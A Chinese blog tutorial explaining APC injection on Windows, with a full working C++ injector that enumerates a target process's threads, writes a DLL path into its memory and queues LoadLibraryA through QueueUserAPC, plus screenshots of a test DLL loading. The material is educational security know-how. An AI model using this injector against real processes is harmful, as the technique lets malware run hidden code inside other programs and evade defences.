抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

APC注入利用了当前线程从中断中恢复时会检查APC队列中是否有函数未执行进行函数调用来注入。

概念

首先来了解下什么是APC技术。APC全称为异步过程调用,它允许一个线程请求另一个线程在适当的时候异步执行一个特定的函数。通俗来讲,当一个线程调用一个阻塞的系统调用时,例如SleepEx(),WaitForSingleObjectEx()等,内核态返回的时候会检查是否需要执行 apc 。在这种情况下,可以使用APC来在系统调用完成时执行一些额外的代码,而不需要等待系统调用返回。

实现思路

适用程序:

1.多线程程序;

2.会调用SleepEx()WaitForSingleObjectEx()WaitForMultipleObjectsEx()SignalObjectAndWait()等函数。

流程:

  • 当EXE里某个线程执行到SleepEx()或者WaitForSingleObjectEx()时,系统就会产生一个软中断。

  • 当线程再次被唤醒时,此线程会首先执行APC队列中的被注册的函数。

  • 利用QueueUserAPC()这个API可以在软中断时向线程的APC队列插入一个函数指针,如果我们插入的是Loadlibrary()执行函数的话,就能达到注入DLL的目的。

代码

通过快照获取属于目标进程的所有线程,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
#include <iostream> 
#include <Windows.h>
#include <TlHelp32.h>

using namespace std;


// 获取对应进程Id的所有线程Id
BOOL GetAllThreadIdByProcessId(DWORD dwPid, DWORD** ppThreadIdList, LPDWORD pThreadIdListLength)
{
//线程ID数组中当前的线程ID数量
DWORD dwThreadIdListLength = 0;
//线程ID数组的最大容量
DWORD dwThreadIdListMaxCount = 2000;
//存储线程ID的动态分配数组,通过调用VirtualAlloc分配内存
LPDWORD pThreadIdList = NULL;
pThreadIdList = (LPDWORD)VirtualAlloc(NULL, dwThreadIdListMaxCount * sizeof(DWORD), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pThreadIdList == NULL)
{
printf("[*] Create Thread Id Space Error!\n");
return FALSE;
}
RtlZeroMemory(pThreadIdList, dwThreadIdListMaxCount * sizeof(DWORD));
THREADENTRY32 te32 = { 0 };
RtlZeroMemory(&te32, sizeof(te32));
te32.dwSize = sizeof(te32);
//创建系统中所有线程的快照
HANDLE hThreadSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (hThreadSnapshot == NULL)
{
printf("[*] Create Thread Snap Error!\n");
return FALSE;
}
//遍历线程快照,获取每个线程的信息。
BOOL bRet = Thread32First(hThreadSnapshot, &te32);
while (bRet)
{
//通过比较线程所属进程ID(th32OwnerProcessID)与指定进程ID(dwPid)判断是否与指定进程匹配
if (te32.th32OwnerProcessID == dwPid)

{
if (dwThreadIdListLength >= dwThreadIdListMaxCount)
{
break;
}
//如果匹配,则将线程ID te32.th32ThreadID 添加到线程ID数组中
pThreadIdList[dwThreadIdListLength++] = te32.th32ThreadID;
}
bRet = Thread32Next(hThreadSnapshot, &te32);
}
//将线程ID数组的长度 dwThreadIdListLength 和指针 pThreadIdList
//分别赋值给传入的参数 pThreadIdListLength 和 ppThreadIdList,以便在函数外部访问线程ID数组。
*pThreadIdListLength = dwThreadIdListLength;
*ppThreadIdList = pThreadIdList;
return TRUE;
}


int main()
{
//char szDllPath[] = "F:\\code_py&C\\vs2017\\injecte\\Dll1\\x64\\Release\\Dll1.dll";
char szDllPath[] = "F:\\code_py&C\\vs2017\\injecte\\Dll1\\Debug\\Dll1";
//进程pid
DWORD dwPid = 28496 ;
BOOL bRet;
//所有线程id
LPDWORD pThreadIdList = NULL;
//线程id个数
DWORD dwThreadIdListLength = 0;
//获取当前进程的所有线程
bRet = GetAllThreadIdByProcessId(dwPid, &pThreadIdList, &dwThreadIdListLength);
if (!bRet)
{
printf("[*] Get All Thread Id Error!\n");
return 0;
}
// 打开进程
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
if (hProcess == NULL)
{
printf("[*] Open Process Error!\n");
return 0;
}
DWORD dwDllPathLen = strlen(szDllPath) + 1;
// 申请目标进程空间,用于存储DLL路径
LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, dwDllPathLen, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (lpBaseAddress == NULL)
{
printf("[*] VirtualAllocEx Error!\n");
return 0;
}
SIZE_T dwWriten = 0;
// 把DLL路径字符串写入目标进程
WriteProcessMemory(hProcess, lpBaseAddress, szDllPath, dwDllPathLen, &dwWriten);
if (dwWriten != dwDllPathLen)
{
printf("[*] Write Process Memory Error!\n");
return 0;
}
//获取LoadLibraryA的加载地址
LPVOID pLoadLibraryFunc = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
if (pLoadLibraryFunc == NULL)
{
printf("[*] Get Func Address Error!\n");
return 0;
}
HANDLE hThread = NULL;
// 倒序插入线程APC,可避免出现在插入时进程崩溃的现象
for (int i = dwThreadIdListLength - 1; i >= 0; i--)
{
//线程句柄
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadIdList[i]);
if (hThread)
{
QueueUserAPC((PAPCFUNC)pLoadLibraryFunc, hThread, (ULONG_PTR)lpBaseAddress);
CloseHandle(hThread);
hThread = NULL;
}
}

printf(" Success\n");

if (hProcess)
{
CloseHandle(hProcess);
hProcess = NULL;
}
if (pThreadIdList)
{
VirtualFree(pThreadIdList, 0, MEM_RELEASE);
pThreadIdList = NULL;
}
ExitProcess(0);
return 0;
}

运行目标注入程序

image-20240428155334215

运行Dll注入程序

image-20240428155439734

目标进程出现测试Dll

image-20240428155439735